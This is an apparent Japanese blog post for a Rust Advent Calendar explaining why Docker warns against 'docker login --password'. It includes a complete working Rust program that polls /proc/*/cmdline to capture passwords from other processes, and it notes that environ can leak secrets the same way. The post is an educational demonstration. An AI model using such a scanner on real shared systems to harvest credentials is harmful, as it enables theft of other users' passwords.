RustでDockerの--passwordで入力したパスワードを盗む

このエントリはRust Advent Calendarの9日目の記事です。

空いてる日を埋める担当のκeenです。9日目が空いてたので遡って記事を投稿します。RustというよりLinuxの知識を使った記事ですが。Docker CLIでログインするときに --password オプションを使うとパスワードが盗まれる可能性があるよという警告が出たことありませんか?あれを実際にやってみたいと思います。

docker login--password オプションを渡すと以下のようにCLIからパスワードを渡すと安全でないよという警告が出ます。

$ docker login --password MY_PASSWORD
WARNING! Using --password via the CLI is insecure. Use --password-stdin.
Login with your Docker ID to push and pull images from Docker Hub. If you don't have a Docker ID, head over to https://hub.docker.com to create one.
Username:

口で言われるだけだとどのくらい安全でないか分からないので実際にコードを書いてパスワードを盗んでみましょう。

Linuxでは他のプロセスがどのように実行されているかを /proc/PID で確認できます。この機能を用います。

例えば私が今使っているシェルのPIDは 265989 です。

$ echo $$
265989

そこで /proc/265989/ を覗けば色々なものが見えるようになっています。

$ ls /proc/265989/
arch_status  clear_refs          cpuset   fdinfo    map_files  mountstats  oom_score      projid_map  setgroups     statm           timers
attr         cmdline             cwd      gid_map   maps       net         oom_score_adj  root        smaps         status          timerslack_ns
autogroup    comm                environ  io        mem        ns          pagemap        sched       smaps_rollup  syscall         uid_map
auxv         coredump_filter     exe      limits    mountinfo  numa_maps   patch_state    schedstat   stack         task            wchan
cgroup       cpu_resctrl_groups  fd       loginuid  mounts     oom_adj     personality    sessionid   stat          timens_offsets

この中に cmdline というファイルがあり、その中身にコマンドと引数が書かれています。

$ cat /proc/265989/cmdline
/usr/bin/zsh

同様に docker login プロセスのこれを見ればパスワードが書いてある訳です。 となると、あとはdockerコマンドがくるのを待ち受けてあげればよいですね。コードを書いてみましょう。

/proc 下にある数字名のディレクトリを全部開いて cmdline を読み、 docker--password という文字列が含まれていたら標準出力に書き出すコードを書けばよさそうです。

/proc 以下は普通のファイルとして読めるので標準ライブラリだけで処理できてしまいます。

use std::fs;
for entry in fs::read_dir("/proc")? {
    let e = entry?;
    // ...
}

エントリがディレクトリでありかつ名前が全て数字のものだけを対象にします。

let e = entry?;

let is_dir = e.file_type()?.is_dir();
let is_number_named = e
    .file_name()
    .to_str()
    .unwrap()
    .chars()
    .all(|c| "1234567890".contains(c));
if is_dir && is_number_named {
  // ...
}

そしてそのディレクトリ下にある cmdline というファイルを読み出し、 dockerpassword が含まれているかを検査し、含まれていれば出力します。

let cmdline = fs::read_to_string(e.path().join("cmdline"))?;
if cmdline.contains("docker")
    && cmdline.contains("--password") {
    println!("cmdline: {}", cmdline);
    return Ok(());
}

というのをヒットするまで繰り返します。全体としてはこういうコードになります。

use std::fs;
use std::io;

fn main() -> io::Result<()> {
    loop {
        for entry in fs::read_dir("/proc")? {
            let e = entry?;
            let is_dir = e.file_type()?.is_dir();
            let is_number_named = e
                .file_name()
                .to_str()
                .unwrap()
                .chars()
                .all(|c| "1234567890".contains(c));
            if is_dir && is_number_named {
                let cmdline = fs::read_to_string(e.path().join("cmdline"))?;
                if cmdline.contains("docker") && cmdline.contains("--password") {
                    println!("cmdline: {}", cmdline);
                    return Ok(());
                }
            }
        }
    }
}

これを走らせてみましょう。 cargo run している間に別ターミナルで docker login --password hoge を入力してみます。

$ cargo run
    Finished dev [unoptimized + debuginfo] target(s) in 0.00s
     Running `target/debug/docker-password`
cmdline: dockerlogin--passwordhoge

───────────別ターミナル─────────────────────────────────

$ docker login --password hoge
WARNING! Using --password via the CLI is insecure. Use --password-stdin.
Login with your Docker ID to push and pull images from Docker Hub. If you don't have a Docker ID, head over to https://hub.docker.com to create one.
Username: ^C

はい、コマンドラインが取得できましたね。引数がヌル文字区切りなので間がつまってるように見えますが、まあよいでしょう。

荒い部分はありますし、ヒットするまでループを回すという力技ですがパスワードを抜き出すことができました。同様にして environ から環境変数も抜き出せるので環境変数でパスワードを渡すようなプログラムも危険です。この記事を通して出されている警告の意味が分かるようになれば幸いです。

余談

最初は /proc にinotifyをかけて新規プロセスを取得しようと思ってたんですが、新規プロセスができても /proc にCREATEイベントが発生しないんですね。仕方ないのでループで回すという力技にしました。

後で調べたら新規プロセスを監視するのはeBPFなど何種類かのAPIによる実現方法があるようです。詳しい方がいたらやってみて下さい。

Written by κeen
Later article
2021年振り返り